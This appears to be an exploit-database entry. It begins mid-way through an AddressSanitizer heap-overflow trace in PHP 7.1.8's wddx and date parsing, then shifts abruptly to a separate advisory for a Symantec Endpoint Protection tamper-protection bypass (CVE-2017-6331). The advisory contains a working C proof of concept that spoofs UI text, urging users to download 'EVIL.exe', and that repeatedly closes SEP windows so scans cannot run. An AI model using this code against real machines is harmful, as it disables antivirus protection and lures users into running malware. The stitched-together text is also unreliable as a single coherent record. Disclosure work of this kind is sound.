#2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413
#3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472
#4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495
#5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460
#6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215
#7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04]
0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==13788== ABORTING
Aborted
*/
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-6331-SYMANTEC-ENDPOINT-PROTECTION-TAMPER-PROTECTION-BYPASS.txt
[+] ISR: ApparitionSec
Vendor:
=======
www.symantec.com
Product:
===========
Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5)
Symantec 12.1.7004.6500
Vulnerability Type:
===================
Tamper-Protection Bypass
Denial Of Service / Message Spoof
CVE Reference:
==============
CVE-2017-6331
SSG16-041
Security Issue:
================
Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close
the SEP UI denying end user ability to scan / run the EP AntiVirus protection. Spoofed messages could
also potentially inform a user a scan was clean.
Unfortunately Symantecs advisory left out details of the Denial Of Service as well as minimizing the
amount of text a malware could inject into the UI which would result in compromising the integrity of the
Symantec Endpoint Protection Control Panel user interface.
References:
===========
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20171106_00
Exploit/POC:
=============
1) Compile below C program, it targets various components of SEP, comment out what you want to send to the UI.
2) Try to open the Symantec Endpoint UI and you will be denied.
3) Or inject attacker supplied messages intructing the user the file is clean etc.
#include <windows.h>
#include <Tlhelp32.h>
#define VICTIM "DevViewer.exe"
//By HYP3RLINX
//ISR: ApparitionSec
//Symantec EP Protection - Tamper Protection Bypass Vulnerability
//Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004 Symantec 12.1.7004.6500 Windows 7
//How: FindWindow / SendMessage Win32 API
//Impact: DOS / Integrity Compromised
//TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans.
void main(void){
while(1){
HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection"));
if(hWnd!=NULL){
//This injects arbitrary messages to SEP UI.
SetWindowText(hWnd, "*** Important Security Update, Visit: http://PWN3D.com/EVIL.exe download and follow instructions. ***");
//This prevents a user from being able to run AV scans and renders SEP UI useless
//SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);
}
//HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0);
HWND x = FindWindow(NULL, TEXT("DevViewer"));
if(x!=NULL){
SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0);
}
HWND x2 = FindWindow(NULL, TEXT("DoScan Help"));
SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0);
HWND x3 = FindWindow(NULL, TEXT("Sylink Drop"));
SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0);
HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016"));
if(x!=NULL){
SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0);
}
sleep(1);
}
}
Network Access:
===============
Local
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: July 8, 2016
Vendor acknowledged: 7/14/16
Vendor advisory : November 6, 2017
November 10, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx